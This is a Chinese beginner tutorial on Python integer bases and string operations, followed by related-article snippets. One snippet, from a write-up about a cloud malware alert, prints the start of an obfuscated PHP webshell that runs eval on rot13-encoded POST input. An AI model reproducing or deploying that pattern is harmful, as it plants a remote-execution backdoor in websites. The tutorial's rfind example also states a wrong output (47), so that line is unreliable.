02-2.python入门语法一变量与数据类型2

四、Python 整数数据类型

(一)整数的表示方式

1. 十进制表示

十进制是我们在日常生活中最常用的数字表示形式,由 0 到 9 这十个数字排列组合而成。

2. 二进制表示

二进制数由 0 和 1 这两个数字组成,在 Python 中,书写二进制数时要以 0b 或 0B 开头,以此来和其他进制的表示形式区分开。

下面来看二进制与十进制相互转换的代码示例:

二进制转十进制:可以使用 int() 函数,将二进制数以字符串的形式传入,并指定第二个参数为 2,表示输入的是二进制数。示例如下:

bin_num = '0b101'

decimal_result = int(bin_num, 2)

print(decimal_result)  # 输出结果为5

十进制转二进制:使用 bin() 函数,直接将十进制整数作为参数传入,函数会返回对应的二进制表示形式(以 0b 开头的字符串)。例如:

decimal_num = 10

bin_result = bin(decimal_num)

print(bin_result)  # 输出结果为0b1010

3. 八进制表示

八进制由 0 - 7 这八个数字组成,在 Python 中的表示形式是以 0o 或 0O 开头。

八进制转十进制:同样借助 int() 函数,把八进制数当作字符串传入,同时指定参数 base 为 8,表明这是八进制数转十进制的操作。代码如下:

oct_num = '0o12'

decimal_result = int(oct_num, 8)

print(decimal_result)  # 输出结果为10

十进制转八进制:利用 oct() 函数,将十进制整数作为参数传递进去,就能得到对应的八进制表示形式(以 0o 开头的字符串)。示例如下:

decimal_num = 15

oct_result = oct(decimal_num)

print(oct_result)  # 输出结果为0o17

4. 十六进制表示

十六进制数由 0 - 9 以及 A - F(或 a - f)组成,在 Python 里书写时要以 0x 或 0X 开头。

十六进制转十进制:使用 int() 函数,把十六进制数以字符串形式传入,并设置参数 base 为 16,以此来完成转换。代码示例如下:

hex_num = '0x10'

decimal_result = int(hex_num, 16)

print(decimal_result)  # 输出结果为16

十进制转十六进制:运用 hex() 函数,将十进制整数作为参数传入,函数会返回对应的十六进制表示形式(以 0x 开头的字符串)。例如:

decimal_num = 20

hex_result = hex(decimal_num)

print(hex_result)  # 输出结果为0x14

、Python 字符串数据类型

(一)字符串的创建方式

在 Python 中,创建字符串的方式多种多样,常用的有使用单引号、双引号以及三引号来进行创建,它们各自有着适用的场景和特点。

使用单引号创建字符串时,示例如下:

str1 = 'Hello'

str2 = 'I\'m a student'

str3 = "Python"

str4 = "I'm learning Python"

str5 = """This is a multi-line string.

It can span across multiple lines.

And keep the original formatting."""

通过三引号创建的字符串能够完整地保留输入时的格式,非常适合用于定义函数的文档字符串(docstring)等场景,方便对函数功能等进行详细的文字描述。

(二)字符串的常用操作

1. 按索引取值

在 Python 中,字符串是一种有序的字符序列,每个字符都有对应的索引值。索引值以 0 为开始值,从左往右依次递增;同时,也可以从右往左进行索引,此时 -1 为末尾字符的索引位置,然后往左依次递减。

例如,对于字符串 'Python',我们可以通过索引来获取其中的单个字符。代码示例如下:

str_example = "Python"

print(str_example[0])  # 输出 'P'

print(str_example[2])  # 输出 't'

print(str_example[-1])  # 输出 'n'

print(str_example[-3])  # 输出 'h'

通过指定相应的索引值,放在方括号内紧跟在字符串变量后面,就可以轻松获取到对应位置的字符,方便在程序中对字符串中的特定字符进行提取和操作。

2. 切片操作

字符串切片是一种很实用的操作,它的规则是 “顾头不顾尾”,也就是切片操作获取到的子串包含起始索引对应的字符,但不包含结束索引对应的字符。其基本语法格式为 [头下标:尾下标]。

比如,对于字符串 'Python',想要获取其中的一部分字符作为子串,可以这样操作:

str_example = "Python"

print(str_example[1:4])  # 输出 'yth'

这里切片的范围是从索引为 1 的字符 y 开始,到索引为 4 的字符 o 之前结束,所以得到的子串就是 'yth'。

如果省略头下标,如 str_example[:3],则表示从字符串开头截取到索引为 2 的字符,会得到 'Pyt';而省略尾下标,像 str_example[2:],则是从索引为 2 的字符开始截取到末尾,会输出 'thon'。

此外,还可以指定切片步长,语法格式变为 [头下标:尾下标:步长],步长用于控制每隔几个字符取一个字符。例如:

str_example = "Python"

print(str_example[::2])  # 输出 'Pto'

这里步长为 2,就会从开头开始,每隔 2 个字符取一个字符,最终得到 'Pto' 这个子串。

如果步长为负数,则表示从右往左进行切片,例如:

str_example = "Python"

print(str_example[::-1])  # 输出 'nohtyP'

这样就可以方便地将字符串进行反转操作,获取到原字符串逆序的结果。

3. 字符串拼接与重复

在 Python 中,使用 “+” 号可以进行字符串的拼接操作。例如:

str1 = "Hello"

str2 = "Python"

result = str1 + " " + str2

print(result)  # 输出 'Hello Python'

上述代码将两个字符串以及一个空格字符串通过 “+” 号拼接在一起,形成了一个新的字符串。也可以将多个字符串变量或者字符串字面量进行拼接,以组合出更复杂、符合需求的字符串内容。

而使用 “*” 号则能够实现字符串的重复输出,示例如下:

str3 = "Python "

print(str3 * 3)  # 输出 'Python Python Python '

通过将字符串与一个整数相乘,就可以让该字符串重复出现指定的次数,在需要重复展示某个固定格式的字符串时非常方便,比如打印分隔线等场景就可以利用这个操作。

4. 字符串格式化

Python 中常见的字符串格式化方式有多种,以下分别进行介绍。

使用占位符(% s、% d 等):

常用的占位符有 %s(字符串格式)、%d(十进制格式)、%f(浮点数格式)等。例如:

name = 'Tom'

age = 20

print('%s is %d years old.' % (name, age))

上述代码中,%s 会被后面元组中的字符串 'Tom' 替换,%d 会被整数 20 替换,最终输出 Tom is 20 years old.。并且对于 %f 还可以指定保留的小数位数,如 %.2f 表示保留 2 位小数,像这样:

num = 3.1415926

print('The number is %.2f' % num)

会输出 The number is 3.14。

使用 formatted 字符串(f-string):

这是带有 f 字符前缀的字符串,使用起来更加简洁方便,可以很直观地在字符串中直接用花括号 {} 包裹变量名或者表达式来进行格式化。例如:

name = 'Jerry'

age = 22

score = 95.5

print(f'{name} is {age} years old and got a score of {score:.2f}.')

在花括号内不仅可以嵌入变量,还能对变量进行一些简单的表达式运算或者格式控制,像控制数字的显示格式、对齐方式等,上述代码会输出 Jerry is 22 years old and got a score of 95.50.。

使用 format () 方法:

字符串中可以有占位符({} 表示的内容),然后配合 format() 方法的使用,会将 format() 方法中的参数替换为占位符内容。占位符可以用参数索引表示,即 0 代表第 1 个参数,以此类推,也可以用参数的名字表示占位符。例如:

name = 'Alice'

age = 18

s = '{0} is {1} years old.'.format(name, age)

print(s)

或者:

s = '{name} is {age} years old.'.format(name=name, age=age)

print(s)

都会输出 Alice is 18 years old.。在占位符中还可以有格式化控制符,对字符串的格式进行更加精准的控制,比如指定对齐方式(< 左对齐、> 右对齐、^ 居中对齐)、填充字符、数字的进制显示、千位分隔符等多种格式化操作,以满足不同场景下的输出格式需求。

5. 字符串查找与替换

在处理字符串时,常常需要查找其中是否包含某个子字符串,以及对字符串中的部分内容进行替换,Python 提供了相应的方法来实现这些操作。

查找子字符串:

可以使用 find 方法来查找子字符串在原字符串中首次出现的位置索引,如果找不到则返回 -1。例如:

str_example = "Python is a great programming language"

print(str_example.find("Python"))  # 输出 0

print(str_example.find("Java"))  # 输出 -1

还有 rfind 方法,它是从右往左查找子字符串首次出现的位置索引,例如:

str_example = "Python is a great programming language, Python is widely used"

print(str_example.rfind("Python"))  # 输出 47

替换字符串内容:

使用 replace 方法可以将字符串中的指定子字符串替换为新的字符串内容。示例如下:

str_example = "Python is a great programming language"

new_str = str_example.replace("Python", "Java")

print(new_str)  # 输出 'Java is a great programming language'

replace 方法会返回替换后的新字符串,原字符串本身并不会被修改。并且可以指定替换的次数,比如:

str_example = "Python Python Python"

new_str = str_example.replace("Python", "Java", 2)

print(new_str)  # 输出 'Java Java Python'

这样就只会替换前两次出现的 Python 子字符串。通过这些查找和替换的操作方法,能够方便地对字符串进行内容的检索和修改,满足不同的文本处理需求。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/938907.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

如果在 Swift 数组中寻找最大相邻差值的线性时间算法

文章目录 摘要问题描述解决方案Swift 代码实现代码解析测试用例及结果时间复杂度空间复杂度总结 摘要 本文探讨如何在未排序的数组中&#xff0c;通过线性时间算法找到排序后相邻元素之间的最大差值。我们采用桶排序的思想&#xff0c;给出一个高效的 Swift 实现&#xff0c;并…

EasyExcel 动态设置表格的背景颜色和排列

项目中使用EasyExcel把数据以excel格式导出&#xff0c;其中设置某一行、某一列单元格的背景颜色、排列方式十分常用&#xff0c;记录下来方便以后查阅。 1. 导入maven依赖&#xff1a; <dependency><groupId>com.alibaba</groupId><artifactId>easy…

如何在谷歌浏览器中设置标签页分组

在日常浏览网页时&#xff0c;我们常常会打开多个标签页。随着标签页数量的增加&#xff0c;管理它们变得越来越困难。幸运的是&#xff0c;谷歌浏览器提供了一些实用的功能&#xff0c;可以帮助我们更好地组织和分组标签页。本教程将向您展示如何设置标签页分组&#xff0c;并…

多协议视频监控汇聚/视频安防系统Liveweb搭建智慧园区视频管理平台

智慧园区作为现代化城市发展的重要组成部分&#xff0c;不仅承载着产业升级的使命&#xff0c;更是智慧城市建设的重要体现。随着产业园区竞争的逐渐白热化&#xff0c;将项目打造成完善的智慧园区是越来越多用户关注的内容。 然而我们往往在规划前期就开始面临众多难题&#…

vscode中同时运行两个python文件(不用安装插件)

如何在vscode中同时运行两个python文件呢&#xff1f;今天在工作中遇到了这个问题。 查了网上的方法是安装coder runner插件&#xff0c;后来发现自身就有这个功能。所以记录一下,方便后续查找: 这是我的第一个文件&#xff0c;点击右上角的运行旁边的小箭头&#xff0c;有一…

java全栈day17--Web后端实战(java操作数据库)

前言&#xff1a;本章应该是针对数据库基础讲解&#xff0c;数据的增删改查但是本人忘记对知识进行归纳总结就直接跳过&#xff0c;基本的内容都很简单&#xff0c;都是套式子使用。现在开始学习本章&#xff0c;很重要需要好好掌握。 一、使用的工具 二、JDBC 2.1概述 JDBC …

谷歌发布最新视频生成模型 Veo 2:视频生成AI新王牌

谷歌 在当今数字化快速发展的时代&#xff0c;人工智能视频生成技术正不断突破创新。就在12月17日&#xff0c;谷歌推出了一个新的视频模型 Veo 2 。 Veo 2 Veo 2 Veo 2 可以创建各种主题和风格的高质量视频。在谷歌官方由人工评估员判断中&#xff0c;Veo 2 与领先模型相比取得…

从腾讯云的恶意文件查杀学习下PHP的eval函数

问题来自于腾讯云的主机安全通知&#xff1a; &#x1f680;一键接入&#xff0c;畅享GPT及AI大模型服务&#xff01;【顶级API中转品牌】&#xff1a; https://api.ablai.top/ 病毒文件副本内容如下&#xff1a; <?php function x($x){eval($x);}x(str_rot13(riny($_CBF…

【C++游记】string的使用和模拟实现

枫の个人主页 你不能改变过去&#xff0c;但你可以改变未来 算法/C/数据结构/C Hello&#xff0c;这里是小枫。C语言与数据结构和算法初阶两个板块都更新完毕&#xff0c;我们继续来学习C的内容呀。C是接近底层有比较经典的语言&#xff0c;因此学习起来注定枯燥无味&#xf…

Dcoker Redis哨兵模式集群介绍与搭建 故障转移 分布式 Java客户端连接

介绍 Redis 哨兵模式&#xff08;Sentinel&#xff09;是 Redis 集群的高可用解决方案&#xff0c;它主要用于监控 Redis 主从复制架构中的主节点和从节点的状态&#xff0c;并提供故障转移和通知功能。通过 Redis 哨兵模式&#xff0c;可以保证 Redis 服务的高可用性和自动故…

golang操作sqlite3加速本地结构化数据查询

目录 摘要Sqlite3SQLite 命令SQLite 语法SQLite 数据类型列亲和类型——优先选择机制 SQLite 创建数据库SQLite 附加数据库SQLite 分离数据库 SQLite 创建表SQLite 删除表 SQLite Insert 语句SQLite Select 语句SQLite 运算符SQLite 算术运算符SQLite 比较运算符SQLite 逻辑运算…

Android v4和v7冲突

android.useAndroidXtrue android.enableJetifiertruev4转成AndroidX

【MySQL】优雅的使用MySQL实现分布式锁

MySQL实现分布式锁 引言二、基于唯一索引2.1、实现思路2.2、代码实现2.3、 测试代码2.4、小结 三、基于悲观锁3.1 、实现思路3.2、代码实现3.3、测试代码3.4、小结 四、基于乐观锁4.1 、实现思路4.2 、代码实现4.3 、测试代码4.4、小结 总结 引言 在文章《Redis实现分布式锁详…

生活小妙招之UE CaptureRT改

需求&#xff0c;四个不同的相机拍摄结果同屏分屏显示 一般的想法是四个Capture拍四张RT&#xff0c;然后最后在面片/UI上组合。这样的开销是创建4张RT&#xff0c;材质中采样4次RT。 以更省的角度&#xff0c;想要对以上流程做优化&#xff0c;4个相机拍摄是必须的&#xff…

1 JVM JDK JRE之间的区别以及使用字节码的好处

JDK jdk是编译java源文件成class文件的&#xff0c;我们使用javac命令把java源文件编译成class文件。 我们在java安装的目录下找到bin文件夹&#xff0c;如下图所示: 遵循着编译原理&#xff0c;把java源文件编译成JVM可识别的机器码。 其中还包括jar打包工具等。主要是针对…

【Unity功能集】TextureShop纹理工坊(二)图层(上)

项目源码&#xff1a;后期发布 索引 图层TextureLayer可见性激活性可编辑性绘画区域、绘画板绘画区域锚点导入图像 图层 在PS中&#xff0c;图层的概念贯穿始终&#xff08;了解PS图层&#xff09;&#xff0c;他可以称作PS最基础也是最强大的特性之一。 那么&#xff0c;在T…

贪心算法 part01

class Solution { public:int maxSubArray(vector<int>& nums) {int result INT32_MIN;int count 0;for (int i 0; i < nums.size(); i) {count nums[i];if (count > result) { // 取区间累计的最大值&#xff08;相当于不断确定最大子序终止位置&#xff…

二、FIFO缓存

FIFO缓存 1.FIFO缓存介绍2.FIFO缓存实现3.FIFO缓存总结 1.FIFO缓存介绍 FIFO&#xff08;First-In-First-Out&#xff09;缓存 是一种简单的缓存淘汰策略&#xff0c;它基于先进先出的原则来管理数据。当缓存达到容量限制并需要淘汰元素时&#xff0c;最先进入缓存的元素会被移…

王佩丰24节Excel学习笔记——第十四讲:日期函数

【以 Excel2010 系列学习&#xff0c;用 Office LTSC 专业增强版 2021 实践】 【本章小技巧】 掌握date()日期函数&#xff0c;配合年月日时分秒使用使用datedif()函数计算两个日期之前的差&#xff0c;重点记住参数三&#xff0c;差的值以哪种类型显示。使用weeknum/weekday,…